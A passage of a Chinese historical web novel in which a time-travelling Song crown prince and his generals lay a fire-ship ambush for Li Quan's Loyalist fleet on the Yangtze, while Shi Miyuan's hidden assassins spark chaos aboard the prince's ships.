宋宇听完禀报,对着薛斌说道“:将军这两日辛苦了,本殿下定不忘将军苦劳。至于安排兵丁之事,容后片刻,现下本殿下尚有一事与王将军商议,你等且在此稍候片刻。”
言罢,宋宇大声喊话道“;王坚,吕文德,程保,赵国,余阶听令。”
被喊到之人立马站出来大声领诺。
只听宋宇继续说道“:诸位且随我来,本殿下有要事相商。”语毕,领着众人奔军营一处人少之地走去。
第四十八回 二将齐献计 秦王破阵曲
待走到隐蔽之处,宋宇轻咳一声,对着余阶说道“;余老幺,此事便由你来说吧。”
余阶得了令,领了声喏,压低声音对着王坚四人讲述了李全即将截粮之事。”
只见一旁的王坚越听,越是恼怒。待余阶一席话说完,脸已充血如碳色,大声吼道“;这些个北军野盗,平素吃我们的,拿我们的便也罢了,想不到此次还打起了这朝廷官粮的注意。真是活得不耐烦了。还有这该死的史弥远,竟然串通外人,抢自己家粮食。简直畜生不如,猪狗不如。”
宋宇眼见王坚发怒,咳嗽了一声“;咳恩,王将军还请小声说话。毕竟这水营之内有无细作,尚不可知。”
王坚被宋宇这么一提醒,知道自己太过鲁莽,忙对宋宇道歉“:殿下,小弟在入澉浦水营前,曾在淮东制置使赵葵帐下效力,对这李全极为熟识。此贼时长讹诈我南军粮草,有时甚至做些偷鸡摸狗的举动。十足是个人品低劣,厚颜无耻之辈。故而小弟对此人十分痛恨。还请殿下见谅。”
宋宇听王坚说自己十分熟识李全,赶忙问道“:王兄弟既然识得李全,可否对我们讲讲这李全到底是个何等样人?”
“:殿下,李全此人鹰眼喙嘴,志大才疏,全凭其帐下一员猛将,方得在山东地面上立足。”王坚一脸不削得回答宋宇道。
宋宇一听李全身边有个猛人,明显被勾起了兴趣,继续问道“:何人如此本事?”
王坚看宋宇对此人很是感兴趣,赶忙回答道“:确切的说,是位姑娘。江湖人号四娘子,长得是面如桃花,眼似寒潭。腰如摆柳。虽看似弱不禁风,却万万不能小看,这姑娘颇似绿林好汉,弓马骑射样样精通。手中一杆银枪更是使得出神入化。至今交手之人,尚无能胜她之辈。直令我等男儿汗颜。”只见这王坚一脸羡慕的说道。
宋宇听了王坚对四娘子这样一位女子,毫不隐讳的夸赞,越发兴趣浓重“:这四娘子如此了得,那此次若是她出阵,我等岂不是无法抵敌?”
王坚一听宋宇对此战有些不自信,立马挺了挺胸,拍着铠甲爽朗的对宋宇保证“;殿下,此次四娘子来不来小弟不知,但就算这四娘子来了,小弟也不怕她。”
“:哦?愿闻其详?”宋宇追问道。
“:这四娘子若是在陆上,小弟定然不是对手,但若是在水上,管她带多少人马来,小弟也会让她有来无回。”只见王坚自信的说道。
宋宇看王坚如此有信心,长舒一口气,赶忙问道“:这么说兄弟已有破敌之计?”
王坚听到宋宇直奔主题,哈哈一笑,将自己的计策说了出来“:这李全身在山东,想要不远千里前来劫我等粮草,只有一条路可行,便是借淮河水师船只,沿运河南下,入得长江。这淮河水师,小弟可谓了若指掌,营中并无多少大型战船,皆是朦艟小舟。像这种船,只能与我等发起近战。到时若指挥得当,不让这朦艟船队将我水军截为数段,近战登船,各个击破,则此战我军必胜。”
宋宇听了王坚的战略部署,并没放下心来,仍旧满脸疑虑的问道“:兄弟如此肯定这李全会动用淮河水师船只?”
王坚十分自信的回答道“;殿下,现今我等便在这长江水营之内,这李全不用淮河水师,又能用甚?”
宋宇听到此,疑虑顿消。高兴的对王坚说道“:那此次水战,便全都交托给兄弟你了。”
王坚眼见宋宇如此器重自己,赶忙喏了一声。哪知旁边一直默不作声得吕文德却开口说话了,只见这吕文德表情平静的说道“:殿下,小将这里也有一计策献上。”
宋宇听这吕文德要献计,顿时来了兴趣,慌忙开口“;将军但讲无妨。”
吕文德依旧不喜不怒的说道“:依方才余兄弟所说的时日,恐怕我等出了水营,不久便会被这忠义军盯上。我在明,敌在暗,若是其等趁我不备,突然袭击,到时就算指挥得当,这粮草也免不得损失。故而小将觉得,与其坐等被劫,不若主动出击。”
宋宇听完吕文德分析,用右手揉着下巴想了一会,觉得吕文德说的很有道理。毕竟大船相较于小舟,机动性差的不是一点半点。若是粮草因此损失,即使胜了,又有何面目继续运粮前行?
想透彻这一层,宋宇心切的问道“;将军刚才也说了,我在明,敌在暗,又如何主动出击?”
只听吕文德不温不火的继续说道“:我等西行三百余里,便是巢湖入江口。只要能将忠义军诱到此处。小将便有十足把握,在不损失粮草的情况下,全歼忠义军。”
宋宇听他计划说完,不住的点头“:好计策,王坚吕文德听令。”
两人立马大声领诺,只听宋宇继续说道“:命你二人挑选兵士,备好**石。兵发巢湖口,与忠义军决一死战。”
“:属下(小弟)领命。”两**声回答道。
言毕,一东一西,各自准备去了。
待两人走远,余阶对着宋宇说道“:殿下,这二人都是不可多得的将才啊。”
“:哦?此话怎讲?”宋宇全凭穿越优势选人,但对这选将之道,确是个外行。只见他谦虚的询问余阶道。
余阶微微拱了拱手“:殿下,凡知兵者,必能知敌若几,料敌于先,未战先谋,以己之长,搏敌之短。如此,方能百战百胜。”
宋宇点了点头,要说论起这**之法,炎黄子孙绝对是世界各族得祖宗。
早在两千年前,一本孙子兵法,就十分透彻的将战争进行了系统性总结论述。
宋宇对余阶拱了拱手“;兄弟颇有为帅之资,我受教了。”
言毕,宋宇又对程保赵国吩咐道“:两位兄弟这几日便先与我分开行动,分别去寻找吕王二位将军,帮他们打打下手。”
程保赵国听令,领了声喏,私下商量了一会,便各奔东西,去寻吕王二将去了。
宋宇看一切安排妥当,对余阶说道“:走,你我且先上船去。此战你我便做个旁观客。静等李全入套。”
言罢,宋宇十分开心地,领着余阶奔自己座船走去。
整个一下午,宋宇都和余阶都在船舱内悠闲得喝着茶,聊着天。而王坚吕文德则忙的恨不能多生四臂。来往各船之间奔波频繁。
就这样,从
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晌午,一直准备到日落,这俩人才一头汗水的走进仓内向宋宇禀告“;殿下,我二人已备好兵丁**石。敢问殿下何时启程?”
宋宇看这两人忙的满头大汗,慌忙起身说道“;莫在此过夜了,现下便启程吧。”
两人得了令,便向宋宇告了辞,出去吩咐开船了。
宋宇则又坐了回去,继续和余阶有一搭没一搭闲聊,似乎自己和余阶不是去打仗的,反倒是去观战的。
也不知和余阶聊了多久,直到小小走了进来,叫两人吃饭。这俩大老爷们才住了嘴。
吃完了饭,宋宇没回船舱,反倒是来到了船头透气。此时夜幕已然降临。宋宇四下打眼扫了扫,发现江上寂静了然,自己的船队灯火点点,直连接到黑夜深处。船只破水前行,发出阵阵浪花似的击打声。
江风吹起宋宇衣裳,让人打个冷战,顿觉精神不少:也不知清儿回到驿站,已经人去楼空,会不会生气?四处找不到我们,会不会就此作罢,回临安?回临安的路上,可千万要小心啊。这世道不太平,一个女孩子家,哎......我做的这都什么畜生事啊?
“;殿下,是否有心事?为何独自一人在此闷闷不乐?”
正在宋宇百感交集的欣赏夜航时,身后传来小小关切的询问。
宋宇回过头来,对着小小苦笑,又懒洋洋伸了个懒腰,敷衍道“:没什么,船舱憋闷,出来透透气。”
小小那灵动的双眸眨了眨,随即似笑非笑的对着宋宇说道“:殿下可想听小小弹曲?”
宋宇皱眉打量小小片刻,就见她背后背着古琴,似乎早有准备。猛然想起这丫头之所以能在自己身边,便是因为弹得一手好琴。也不知这古**琴是何滋味?
带着这个想法,宋宇饶有兴致的回答道“:也好,那便有劳小小了。”
小小得了宋宇准许,很是开心,立马从背后取下琴来。平铺于地,对着宋宇问道“:殿下想听何曲?”
宋宇摆摆手“:你想弹什么,尽管弹来便是。”
小小冲宋宇笑了笑”:大战之前的片刻安宁,便给殿下弹一曲秦王破阵乐。“
言毕,小小跪到了琴前,双手平放到琴上,轻抚琴弦,一时在寂静的长江上,飘荡起阵阵琴音。时而高亢,时而低吟,时而静谧,时而让人热血沸腾。
宋宇越听,越觉得这琴音美妙,与自己听到的后世流行音乐不同,这琴音似是本就源于天地之中,完美与周围景致相辅相成。每一次琴弦震动,似乎都能沟通人体内血脉心肺。高亢时心跳几乎和琴弦同步,实在妙不可言。一曲听罢,四周重回寂静,琴声余韵却依旧萦绕在脑海之中,久久不能散去。
“:秦王破阵乐?李世民?”
“:不错,愿殿下此战,旗开得胜。”
宋宇有些汗颜,自嘲似的开口”:哪敢比肩李世民?”
言毕,心有所感,作诗一首:
琴起心感伤,
指落人断肠。
听卿奏一曲,
梦回李秦王。
清晨骑骏马,
晓月露寒霜。
万军阵前立,
提剑荡八荒。
第四十九回 秋日江上行 等待的煎熬
古琴美女,战船江水。在这琴音的环绕中,相辅相成。把宋宇彻底的听醉了。
“:殿下,奴家弹得可好?”小小眨着眼问道。
“:嗯。好,小小一曲,仿若天籁之音。直听得我如痴如醉。”宋宇被小小唤醒,有些不好意思的答道。
“:多谢殿下夸奖,时候也不早了,江上风寒,奴家回船内歇息去了。殿下也回吧,切莫受了风寒。”小小边收拾古琴,边向宋宇告辞。
宋宇冲她摆了摆手“;知道了,我少时便回去歇息。小小你且先行一步。”
言罢,也不再理会小小,独自立在船头看着江面发呆。直到一阵江风吹来,宋宇浑身打了个哆嗦,自言自语道:
秋风起,秋叶黄。
秋日江水烟云荡。
秋月起,秋星藏。
月照秋江层层浪,
战事起,琴声扬。
自古英雄多奔忙。
诗罢,宋宇回仓休息。
第二日,宋宇早早便起来了。洗漱完毕,直接拉着余阶又来到船头赏景“:余老幺,你看这王坚吕文德二人,一前一后,将你我座船拥在中间,却故意在船队之尾放些粮船随行,这样做是不是故意引忠义军上钩?”
“:殿下,那些哪是粮船,实是火船,内装干柴泼上猪油。只待开战,便会冲向敌军船队。烧它个灰飞烟灭。”余阶严肃的回答道。
“:哦?但对方皆是小船,灵活机动,想要烧到,怕是没那么容易吧?”
“:这,小弟也不知这二人葫芦里卖的什么药。实不相瞒,水战小弟也是个外行。还是静观其变吧。”余阶摇了摇头,回答宋宇。
宋宇看余阶也不知道,更加好奇,这时船上王坚安排好的旗语兵小跑着前来禀报道“:太子殿下,方才船尾王将军发信,说是江面上突现数艘渔船,一直尾随我军前行。怕是鱼儿上钩了。”
宋宇正想回话,又一旗语兵前来,禀报道“:殿下,吕将军发信,我等最晚黄昏便能到得巢湖口。”
“:这么快?吕文德可已经晓得鱼儿上钩了?”宋宇开心的问道。
“:已然晓得,吕将军叮嘱殿下,一旦开战,还请殿下暂时呆在船舱之内。切勿以身犯险。”旗语兵继续说道。
宋宇听了传令兵话语,不置可否的说道”:告诉他们,本殿下又不是傻子,能照顾好自己,也知道如何保命,他二人只管尽力杀贼便是。”
此时在宋宇船队十余里外,一女将正立于船头皱眉苦思:该死的李全,又要**大宋。这次还让本姑娘杀了几个淮河水师将领,抢了他们的战船。
话说这大宋的内斗,真是愈加激烈了。想那史弥远身为丞相,这次竟要杀的那太子赵竑?史弥远那厮竟然还直接命令李全,务必赶尽杀绝,寸草不留。若是跑了一个,便等着他史弥远的滔**火吧。
按照以往帮史弥远**的习惯,出的兵越多,越说明对方是个好官。记得上次截杀一个县令,那人公正廉洁,深受百姓爱戴,住的是草舍,喝的是稀粥,吃的是咸菜。穷的媳妇都饿跑了。家里就一瞎眼老娘,卧病在床多年。恐怕那县令一生唯一的污点,就是参了史弥远党羽一本。
对于那样的好官,自己实在不忍下手,只好让随行之人给了他个痛快。
想到这里,女将叹了口气“:哎......要是爹还在就好了。替天行道,劫富济贫。可现在,我这手上粘的,全是无辜好人的热血。这样的日子,什么时候是个头啊?”
突兀的仰天长叹一声“:爹......女儿辜负了您。终究成了清浊不分的浑人。”言毕,两行清泪黯然流淌。
却听身后一将军禀报道“:妙珍,探子来报,运粮船队大小船只五十余艘,其中粮船半数以上。我等是否出击?”
杨妙真忙偷偷擦拭眼泪,带着浓重的鼻音回头答道“:娘舅,且不急,我等虽有百十条船,却是朦艟小舟居多,槛船居少。若不想些办法,只怕偷鸡不成蚀把米。”
问话这将军,名叫刘全,是四娘子的母舅。平素对这四娘子屡献妙计。虽有得有失,但在这忠义军中,也算个智谋之士,只听他劝阻杨妙珍道“;妙珍,须知兵贵神速,我等应趁敌军尚不知晓我军行踪之时,率先出击,打他一个措手不及,定可一战而胜。若是迁延日久,敌军察觉,有所防备,再想下手,怕是不易了。”
杨妙珍听了刘全分析,笑着回答道“:娘舅,你所说妙珍知晓,但水战不同陆战,陆战我等可率骑兵随意突袭敌军薄弱之处,但水战皆是船只,只可**炮石伤敌,且我军朦艟居多,若拼炮石之利,实是占不得半点便宜。恐怕尚未冲到敌船近处肉搏,便已半数沉江了。”
刘全仔细想了想杨妙珍所言,觉得确有道理,便继续问道“:那依妙珍之意,我等岂不是毫无胜算?”
“:这也未必,妙珍打算晚上动手,趁着夜深人静,敌军疲惫困倦之时,快速冲向敌船,与其肉搏。岂不胜算更大?”杨妙珍一脸自信的说道。
刘全见杨妙珍早已有了计较,脸上露出笑意“;妙珍之计大善,我这便吩咐众人准备。”
言罢,刘全唤来了几名水兵,让他们将晚上出击的消息传递给每个随行的将士。
此时忠义军船队最前锋一朦艟小舟上,有两个将军模样之人正在闲聊,只听一满脸胡茬,彪悍威武之人义愤填膺的说道“:可恨李全这厮,手握雄兵十万,不去杀尽金狗,替俺们汉人主持公道,却偏偏来这江南故国自相残杀,奶奶个熊,俺恨不能手刃了此贼。”
言罢,抽出腰刀,冲着船槛一刀劈了上去,登时将船槛劈成两半。
这人名叫彭义斌,若是宋宇知道这人也要劫自己,估计能气的七窍生烟。
旁边另一位将军立马劝道“:兄弟,你且小声些,若是让有心之人,传与那李全知晓,便大事不妙了。”
劝人这位名叫霍仪,彭义斌一辈子的死党。但除了讲义气之外,也无甚其他优点。
彭义斌听了霍仪劝告,
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无奈的叹了口气“:唉!李全这厮,早晚会将俺们带入那乱臣贼子之列,在史书上遗臭万年。可恨,着实可恨那。”
“:四娘子有令,众将准备,今夜四更出击。众将需小心行事。”
传令之声,在一艘艘船上响起。霍仪再次对着彭义斌劝道“:兄弟,养精蓄锐,准备出战吧,待了了此事,你我便与那李全分道扬镳。以后他走他的阳关道,我过我的独木桥,两不相欠。”
彭义斌默默的点了点头,吩咐众水兵备战去了。
“:妙珍,命令已经传达,只待过了今夜,那粮草便是我等的囊中之物了。”刘全边笑边说道。
杨妙珍却摇摇头“:娘舅还需小心,这大宋的水军虽庸碌无能,胆小怯懦。但这大宋战船,却着实了得。想来今夜会是一番苦战。”
哪知刘全听了,却是哈哈大笑“:妙珍高看这厮们了,所谓千军易得,一将难求,这太子竑,娘舅老早便听说过,是个纵情声色得浪荡子弟,临安城都传遍了。为了个风尘女子,修了竹楼,日日欢歌缠绵。啧啧!常言道,兵怂怂一个,将怂怂一窝,待到今夜摸上船去,这小太子,估计还在被窝里搂着娘们睡觉呢。再者,这大宋老赵家的子孙,哪有一个好东西?当年岳飞忠肝义胆,尚且被他老赵家杀害。这样的狗皇帝,生的好色狗太子,妙真若杀了他,只当为民**了。”
另一边,大宋船队,宋宇座船。宋宇和余阶两人在船头摆了茶桌,由小小伺候,正一脸惬意的品茶。
“:啊楸!”宋宇不自觉的打了个喷嚏,自言自语道“;一骂二想三念叨,哪个混蛋在背地里骂我呢?”
哪知旁边小小却捂着嘴,边笑边调侃道“;许是昨晚有人吹风着了凉,现在还怪别人咧!要不要奴家给你请船上的郎中瞧瞧?”
宋宇擦了擦顺着嘴角直流的鼻涕“:我没病,请什么郎中?大战在即,满船给我找郎中,岂不乱了军心?”
余阶看宋宇有质问小小之意,慌忙打圆场“:小小姑娘也是一片好意,殿下莫要责怪她。”
余阶转过头又对着宋宇小声说道“:殿下,你把她赶走了,谁给咱俩沏茶?小小那沏茶手艺......”
宋宇立马回过味了,忙对小小道歉道“;唉!本殿下也是心里乱糟糟,在这都站了一天了,这鱼儿还不上钩。心里有些烦躁,不是有心跟你拌嘴,还请小小赎罪。”
小小并未买账“:奴家累了,殿下自己沏茶吧。”言毕,也不待宋宇解释,转身就走。
宋宇苦笑着摇了摇头。心想这丫头越来越没礼数了。随即转过头,继续和余阶有一搭没一搭的品茶闲聊。
也不知过了多久,余阶在一旁提醒宋宇道“:殿下,天色已晚,回去歇息吧。小弟在这里盯着便可。”
宋宇抬起头看了看四周,就见夜幕已然降下,苦等一天,毫无结果。不免有些失望,便问余阶道“:什么时辰了?”
“戌时了,殿下。”余阶赶忙回答道。
第五十回 列阵入江口 水战忠义军
宋宇有些失望说道“:唉,早知今日忠义军不来,便先让将士们吃饭了。现在可好,饿了一天没开饭。白等了。”
“:这也怪不得王将军。想来他也是怕敌军趁吃饭之时偷袭。”余阶不急不慢的解释道。
宋宇摆摆手“:我没有责怪他的意思,只是奇怪,这忠义军大老远的来了,不趁我等尚未察觉发动突然袭击,却是迟迟不见踪影。这是唱的哪出?”
“:殿下,实则虚之,虚则实之。想来这忠义军是另有打算。或许......”余阶有些不太确定的说道。
“:或许什么?有话快讲。”宋宇催促余阶道。
“:或许其想与我等夜战也说不定?”
宋宇一听,恍然大悟“:对啊,记得王坚曾说过,淮河水军皆是朦艟小舟居多,小舟缺什么?**炮石。想来这忠义军知道自己短处,想要趁夜偷袭。余老幺,你说是也不是?”
余阶看宋宇开窍,笑着点了点头“;殿下所说及是,到了夜间,视野受限,机动的小舟,怕是要胜过我等炮石犀利得槛船了。”
宋宇一听余阶赞同自己的想法,慌忙大声说道“:余老幺,你既然早已知道,何不早说?”
余阶摆了摆手“:殿下,莫要慌张,想来两位将军也已猜到对方意图。你且看四周船只。到此时都未掌灯。岂不是有些奇怪?”
宋宇听了余阶说辞,四下看了看。才发现四周船只虽众,却并未掌灯,心中疑惑,忽又想起一事“;哎呀,不好。旗语只能白日传递,这夜晚黑灯瞎火,如何能传递信息?”
余阶笑着劝阻宋宇“;殿下勿惊,小弟虽不识水战,但这夜间传递信息之法,也曾询问过王坚将军。”
言罢,余阶对着身后一水兵吩咐道“:你且去叫来船上一**手。”小兵听到后,赶忙奔侧舷走去。
不多时,领着一**手来到了宋宇和余阶跟前。余阶对着**手说道“;你且把火箭取来,交给殿下观看。”
**手听令,赶忙从箭兜里抽出了两支弓箭,双手捧着,递给了一脸疑惑的宋宇。
宋宇接过箭矢,只见箭身上绑着一支炮仗,足有小胳膊粗细。立马明白了怎么回事,对着余阶说道“:原来是**箭,这么粗,只怕一响,方圆三里都能听到。”
余阶笑了笑“:殿下所言不虚,此物不光能发信,更是伤敌利器。只待射到,非死即伤,即使射到船只,也能将船板炸个大洞。”
“;我大宋弓箭手都有此物?”宋宇追问道。
余阶摇了摇头,说道“:我大宋官场昏暗,层层盘剥之下,发给士兵粮饷尚且捉襟见肘,更不要提采买军械了。又因此物所产不多,只有少数三司营兵装备。实是不美。”
宋宇听到此处,也是失落的点了点头。陷入了沉思:唉!自己现在所处的时代,估计是炎黄子孙最具有创造力的时代。商旅远航四海,科技独领风骚,文化远播海外,但这官场人心......
归其原因,一切是重文轻武所导致?还是社会风气导致官场浑浊?最终致使余阶这样的军界奇才,若非天下大乱,国家思将,也就是给自己做个书童得份。
而像史弥远这等生来富贵,不识兵法战略之辈,却要去指挥我大宋赖以生存的军事力量。不得不让人唏嘘。
宋宇正在沉思,传令兵赶来“;禀殿下,吕将军报,已赶至巢湖口,现今天色已晚,已令赵护卫率粮船入巢湖躲避,吕将军请求殿下随粮船同往。”
宋宇摇了摇头“:你去给本殿下劝劝吕文德,莫要在关心本殿下的个人安危了。好好打仗,本殿下并非贪生怕死之人,也不会做那藏头露尾得鼠辈。”说完也不再理会旁人,继续埋头等待。
也不知过了多久“:殿下,三更天了。你回去歇息吧。”余阶再次提醒宋宇道。
宋宇揉了揉熬得腥红得双眼,疲倦的说道“:不急,天也快亮了。等天亮再回去睡也不迟。”
余阶见劝阻失败,心疼的看着宋宇。想要再劝劝。哪知就在此时,千余米外天空中白光一闪,紧接着便是一声巨响“:砰。”
响声之处,便是伪装成粮船的火船。只见火船上人影闪动,传来鸣锣鼓噪之声“:磅磅磅,贼兵来袭,保护粮草......”
从全局来看,宋宇船队龟缩在巢湖入江口,南北列阵,南边入江处并列一排火船,火船后边战船,战船后边才是宋宇座船。
大宋船队右方千米开外,忠义军座船上,刘全一脸紧张的对着杨妙珍说道“:妙珍,看来我等被发现了。”
“:娘舅,两军距离已经够近了,这段距离,加把劲冲过去,尚有胜算。别忘了,此时四周一片漆黑,对方就算发现,其**炮石也奈我等不得。”杨妙珍一脸严肃的说道。
刘全听得杨妙珍话语,连连大喊“:兄弟们,富贵就在眼前,进攻!“
近百条艨艟得了命令,陡然加速,如飞鱼般,向着大宋船队冲去。
大宋船队正前方不足千米之处,三十余艘朦艟,也在快速驶来。
只听最前锋一艘船上,彭义斌扯着嗓子喊道“;敌军已然察觉,盾牌遮挡,加速前行。待冲到船上,杀他们个人仰马翻。”
言毕,一时四周喊杀声四起。伴随着‘哗啦哗啦’的划水声,不多时便冲到了大宋船队火船不足百米处。
但大宋船队除了鸣锣之声,与大喊贼兵来了之声外,却并无箭矢炮石落下。
彭义斌倒没觉得什么,一旁一向小心谨慎的霍仪却出声提醒道”;兄弟,你可觉得有什么不妥之处?”
彭义斌听得霍仪询问,不置可否的回道“:有何不妥之处?”
霍仪慌忙回答道“:兄弟,你我可是距这敌船不足百米啊,但却只有数艘粮船鼓噪呐喊。更加奇怪的是,只听得乱哄哄之声,却不见矢石还击,岂不怪哉?”
彭义斌眉头皱成了川字,沉思片刻后,旋即回道“:莫不是宋人胆寒,吓得自乱阵脚,弃粮船而逃了吧?兄弟且勿疑虑,待俺们拿下了眼前
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这数艘粮船,留几个活口一问便知。”
霍仪见彭义斌有了主意,也不便再继续劝阻。况且此时距离敌方粮船不足百米,只能硬着头皮上了。
宋宇船队战舰队列,王坚手持弯刀,站立船首。小声的吩咐兵士道“;传令船队原地待命,将殿下座船置于我等船后,一旦见着火起处,炮石齐发。”
大宋舰队西方,吕文德率领十余艘个头较小的快速战船。距大宋主力之处,少说也有千米远。船只隐蔽在一处突起的礁石之后,再加上月色朦胧,能见度极低,若从千米之外观看,绝对很难发现这里竟然藏有一只船队。
“:吕将军,那边打起来了。”
吕文德对着多嘴的小兵做了个嘘声的动作。小声催促旁边一传令兵道“传令各兵士,无有本将命令,不得擅自行动,不得大声鼓噪。违令者,斩。”
吕文德远方待命,回看冲的最快的彭义斌先锋船队。
就见彭义斌主力数十条船,此刻已冲到了粮船之下,借着朦胧的月光,彭义斌仔细的扫了扫船舷之上,却惊奇的发现,并无士兵守护。
此时的他心中顿时没了底,可已到此处,贸然退却,定然是不行的。
干脆心一横,振臂一呼“:兄弟们,随俺登船杀敌。”
登时四周喊杀声愈烈。更有木板钩锁或搭或勾,将数艘粮船是死死缠住。彭义斌与霍仪两人更是身先士卒,率先攀爬上了粮船。
可等两人站稳了身形,打眼四处一扫,面前景象,让两人心中不住的上下打鼓。
只见这船上已然起火,而甲板之上空无一人。
“;不好,中计了。对方有准备。快撤。快撤啊!”
只听霍仪大声喊叫道,边喊,边推搡身后涌上来得兵士。但仍旧是晚了一步。
此时得甲板上,已经站满了己方将士。一个个茫然的盯着四处着火却空无一人的粮船。
紧接着,弓箭炮石如雨点般落下,“砰砰砰”得**声震耳欲聋。伴随着**声得,还有四周随之响起的惨叫声。
彭义斌见此,不敢耽搁,三脚两脚从人群中踹开一条路,抱住还在阻止士兵登船的霍仪。纵身跃进了滚滚长江之中。而身后那条粮船,不多时便被炸了个面目全非,木板飞溅。江面上一时飘起了无数残肢断臂,鲜血肚肠。
大宋船队,宋宇座船,宋宇紧盯着那火光冲天之处,咂巴砸吧嘴,对着余阶说道“:这些始终跟在船尾得火船,还真是派上了大用场。而且更加想不到,咱们脚下这些个江船,竟有如此攻击力。一波矢石射出,顷刻间敌船支离破粹。好不过瘾。”
余阶此时也正一脸兴奋的盯着火起处,听了宋宇之言,忙回道“:殿下,可别小看了这霹雳炮。这一个炮石,便重百余斤。外裹浸了猪油得破布烂痳。一旦击中,敌船不沉也伤。而且除了霹雳炮与火箭之外,船身两侧各备船**五具。这**矢,足有胳膊粗细,一旦击发,定能穿透敌船船身。故而有个花名,沉船钉。”
第五十一回 列阵入江口 水战忠义军 (贰)
宋宇津津有味的在一旁听着余阶讲解,忽又觉得奇怪,问余阶道“:余老幺,你不是不识水站么。怎生对这战船上的物事,如此了解?”
余阶听了宋宇询问,一脸得瑟得对宋宇说道“:殿下,你以为小弟只会饮茶?小弟这两日可是将船上转了个遍。更是详细询问了每个兵丁手中武器用途与威力。殿下你也在这船上呆了数日,您这几日都忙什么呢?”
宋宇被余阶问的愣住了:是啊?这几天我都想什么呢?好像满脑子都是谢道清的安危?又或是喝茶聊天?
宋宇老脸一红,尴尬的说道“:啊。这个,那个。余老幺,你且看那边。敌船冲过来了。”
余阶听有敌船“:啊?”了一声,忙转过头去观看。却见远处依旧火光冲天,暴炸声此即彼伏。
但却并无敌船冲过那道封锁。待再回头找寻宋宇之时,已然没了身影。一时心中大惊。慌忙四处寻找。
宋宇舰队东侧,刘全此时看着火起处那惨烈的战斗,惊得大张着嘴巴。半晌才回过味来。语带颤抖的对杨妙珍询问道“:妙珍,娘舅是不是在做梦?怎生须臾之间,我军三十余艘船只,便尽数损毁了?”
杨妙珍叹了口气“:唉...娘舅莫要说笑了,我等只怕是中了你口中那只会花天酒地的太子赵竑之计。”
刘全一听,浑身不禁打了个冷战,继续弱弱的问道“:那我等是去救,还是就此撤退啊?”
“:不忙事,妙珍这里还有一杀招。只待信号一起。我等便杀将过去。活撕了赵竑那厮。”杨妙珍单手握剑柄,狠狠的说道。
“:停止射箭。全军待命!”长江西侧,王坚一脸严肃的对着身后传令兵大声说道。
紧接着,传令之声此起彼伏。十数艘战船得了命令,停了攻击。
“;殿下,殿下。开船啦。别和小弟开玩笑啦。”余阶边四下张望,边着急嘛慌的喊叫。但奇怪的是,始终寻不到宋宇身影。
“:余大人,殿下好像奔船尾去了。”一小兵弱弱的禀报道。
余阶‘哦。’了一声,也不在喊,屏息奔船尾而去。
而此时的宋宇却着实是不敢言语。为何?原来宋宇并非是故意躲余阶,实是一泡尿憋的太久,想要找个没人的地方便。
哪知转向极黑的侧舷,却发现侧舷兵丁已经被人给杀了。更加诡异的是,船尾不时传来一男一女得对话之声。
宋宇不敢声张,悄悄摸到了船尾侧舷一隐蔽的角落,屏气凝神,竖起耳朵倾听起船尾两人的对话。
借着朦胧的月色,宋宇依稀分辨出船尾此时正立着两个人。一男一女。男的是一名身背箭篓,手拿弓箭的小兵。此时正弯弓搭箭,欲要将一支火箭向天上射去。
而女的不是别人,正是小小。
在两人周围,还躺着数具死尸。似乎方才经过了一番打斗。小小此时手握黄铜火铳。指着面前小兵。一阵江风吹来,秀发随风飘动。小小却依旧面色冰冷的盯着持弓男子一语不发。
“:小小姑娘,我知你也是恩相跟前的红人,却不知姑娘为何要坏我好事?须知此事可是恩相吩咐。出了差池,你我都要和那赵竑小儿陪葬。”那小兵怒气冲冲的质问小小。
“:史相莫不是信不过小小?竟派阁下偷偷摸上船来。却不打声招呼?”小小冷冷的回道。
“:臭娘们,就知道你投了那赵竑小儿。你可别忘了,若无恩相。你还在秦淮花船里让人排队玩呢。”小兵继续质问小小道。
小小听了对方质问,脸色略显苍白。只见她紧咬薄唇。沉默许久,才一字一句的说道“:比起史弥远,赵竑更像人。”说这句话时,眼神中充满了自信。
听了小小这句话,躲在暗处的宋宇心中暖暖的:我更像人?虽然比喻的不太恰当,但我宋宇笑纳了。
正自想着,身后一支手悄悄地搭在了宋宇肩头。宋宇一惊,正待回头喊人,却听身后传来“:嘘......”
听到这个声音,宋宇几乎跳到嗓子眼的心才又收了回去。只见身后之人默不作声的按了按宋宇肩膀,示意其继续躲避在此。
自己则堂而皇之的走了出去“:哈哈哈,我道是谁,这不是小小姑娘吗?只是旁边这位军士有些面生。莫不是敌军奸细?”只见余阶一脸微笑的对着船尾两人说道。
两人一看来人是余阶,皆是大惊。只见这兵士狠狠的说道“;臭娘们,你太天真了。早晚会被赵竑这浪荡子玩死。”
言罢,将手中箭矢射出。纵身跳入了黑暗的江水之中。小小本欲射击,怎奈慢了一步。
小小与余阶两人一语不发的站立在船尾,天上则响起了火箭的**声。“砰”。
宋宇看气氛有些尴尬,从角落中走了出来,一副毫不知情的模样说道“:你们两个,怎生无事在此放炮仗玩?咦?为何会有死尸?”
小小见宋宇突然出现,眼神有些闪躲,弱弱的对着宋宇说道“:殿下,你,这......不关我的事。”
余阶见这小小有些语无伦次,又听宋宇故意遮掩此事,忙在旁撒谎道“;殿下,方才幸赖小小姑娘提醒小弟,不然我等只怕已成了刀下之鬼。”但说到此时,余阶面色突然一变,好像突然想到了什么。大声喊道“:坏了,殿下,我等中计了。”
也不待宋宇询问,大声对着旁边船只上的兵士喊道“:众军士,殿下有令,小心有人生乱。小心身旁之人背后捅刀子。”
一连喊了数遍。但仍是慢了一步。只听得四周喊杀声起。一时周围各船大乱。无数不长眼的,无辜死在了刺客刀下。那些发觉事态不妙的,此时也看着周围的伙伴惊恐万分。生怕一不小心,死在了自己人刀下。
宋宇听着四周此即彼伏的打斗声,惨叫声。方才明白过来,原来刚才那火箭,便是截船的信号。
这可不妙了啊。正直深夜,本就不易分辨敌我
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。再加上刺客都是自己人。想到此,宋宇心中一凛。一股寒意从脚底直冲天灵盖。一股不妙的感觉,涌上心头。
宋宇这边出了**烦,王坚那边更是急的焦头烂额,只见在一众军士的簇拥下,王坚站立船头,焦急万分,不停的大喊“:都住手,快住手。再不住手,本将格杀勿论。”
但任凭如何喊叫,依旧是于事无补。混战在持续,死的人在增加,鲜血已将船板染红。
更有正在打斗的军士回话道“:将军,他是间隙,快杀了他啊。”
“:将军,小人不是间隙,小人是清白的。切莫听这厮胡言乱语。将军快杀了他......”
诸如此般话语,实是令王坚更加糊涂。急的如热锅上的蚂蚁。而此时自己船队不远处尚有敌军船队虎视眈眈,若是敌军趁机冲过来。怕是,要坏事啊。
